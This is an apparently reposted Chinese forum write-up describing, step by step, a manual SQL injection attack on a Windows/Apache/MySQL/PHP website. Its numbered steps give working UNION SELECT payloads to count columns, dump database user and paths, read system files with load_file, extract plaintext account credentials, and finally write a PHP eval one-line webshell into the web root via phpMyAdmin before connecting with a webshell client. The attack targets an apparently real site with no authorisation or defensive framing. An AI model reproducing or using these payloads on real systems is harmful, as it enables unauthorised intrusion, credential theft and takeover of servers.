手工注入基本思路

手工注入

说下我的基本思路:
1、目标站点环境为:Windows+Apache+Mysql+PHP
2、存在SQL注入,能否直接写一句话木马
3、存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell
4、获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马

不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯。
下面具体来说明下:
1、尝试1=1的情况,正确

  1. http://xxx/xxx.php?id=2900 and 1=1
复制代码



2、尝试1=2的情况,错误,说明这是个整型的注入点

  1. http://xxx/xxx.php?id=2900 and 1=2
复制代码



3、尝试'1'='1'的情况,错误,说明PHP开启了magic_quotes_gpc=on,不能直接利用注入语句写webshell了。还好这里是整型的注入点,如果是字符型的注入点那就没办法了。

  1. http://xxx/xxx.php?id=2900 and '1'='1'
复制代码



4、order by 15,尝试当前注入语句的表中字段个数为15,错误,说明字段数小于15

  1. http://xxx/xxx.php?id=2900 order by 15
复制代码



5、order by 14,尝试当前注入语句的表中字段个数为14,正确,说明字段数等于14

  1. http://xxx/xxx.php?id=2900 order by 14
复制代码



6、联合查询语句,暴出可显示字段

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
复制代码



7、暴出数据库用户、版本、库名和路径信息,运气不错,是root权限。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14
复制代码



8、读取windows系统文件boot.ini

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14
复制代码



9、暴出当前库中的所有表名,查了下只有一个account表还比较像存放用户名和口令信息的表

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()
复制代码



10、暴出account表中的所有字段名,看到了username和password,很高兴。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74
复制代码



11、暴出username和password字段里的内容,都是明文。

  1. http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account
复制代码



12、使用得到的用户名口令尝试登录用户页面和后台页面,均失败。



13、发现该网站有phpMyAdmin,phpMyAdmin是个好东西,可以在magic_quotes_gpc=on的情况下写入一句话。不过得先知道mysql数据库连接口令。用穿山甲跑了下注入点,可以读取出mysql的root和其他账号口令,但都是收费的hash。。想想即使拿到口令,没web目录的绝对路径也不能写一句话啊。


14、搜索了一些phpMyAdmin的暴路径的链接,均失败。

  1. /phpmyadmin/libraries/lect_lang.lib.php
  2. /phpmyadmin/themes/darkblue_orange/layout.inc.php
复制代码



15、忽然,rp爆发了一下下,在根目录下随手尝试了个phpinfo,这不绝对路径就出来了d:/wwwroot。


16、读取配置文件d:/wwwroot/sql2004.php


17、登录phpMyAdmin,写入一句话d:/wwwroot/1.php

  1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
复制代码



18、用lanker一句话客户端连接,查看phpinfo,接下来就是上传大马的事了


19、回过头来,在数据库里翻了一番,在数据库名为admin的库中找到了个口令,一下就登录上后台管理页面了。。

 

  注 :原文网址:http://forum.cnsec.org/thread-67707-1-1.html

转载于:https://www.cnblogs.com/zqjt2/p/5475545.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值